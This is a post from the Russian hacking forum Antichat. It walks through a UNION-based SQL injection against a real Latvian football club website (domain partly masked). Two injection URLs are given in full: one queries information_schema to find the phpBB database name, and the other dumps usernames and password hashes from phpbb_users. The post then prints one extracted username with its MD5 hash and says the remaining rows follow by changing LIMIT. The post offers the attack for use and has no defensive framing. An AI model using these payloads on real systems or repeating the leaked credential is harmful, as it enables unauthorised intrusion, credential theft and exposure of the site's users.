Форум АНТИЧАТ - Показать сообщение отдельно

Цитата:

А почему fkventspils.phpbb_users если в моём запросе phpbb_users?

Автоматически подставляется текущая бд, а именно fkventspils. А бд форума называется по другому.

Код:

http://www.fkve****.lv/?p=news&off=&id=-104+union+select+1,2,table_schema,4,5,6+from+information_schema.tables+where+table_name=0x70687062625f7573657273+limit+0,1/*

Вот и узнали, что данные форума лежат у нас в fkvbb.
Составляем запрос:

Код:

http://www.fkve****.lv/?p=news&off=&id=-104+union+select+1,2,concat_ws(0x3a,username,user_password),4,5,6+from+fkvbb.phpbb_users+limit+1,1/*

Andruxa:7fee56ff9519fdc6c473dee675c4b003
и т.д. лимитом. (;